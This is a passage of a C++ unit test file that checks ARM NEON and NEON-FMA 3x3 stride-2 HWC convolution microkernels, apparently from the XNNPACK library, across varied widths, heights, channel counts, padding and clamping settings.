.output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 2; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, output_channels_div_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_height(1) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEON_2X2, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neon_2x2); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(5) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 2; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, output_channels_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEON_2X2, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neon_2x2); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 1; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, output_channels_div_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X2, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x2); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 1; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, 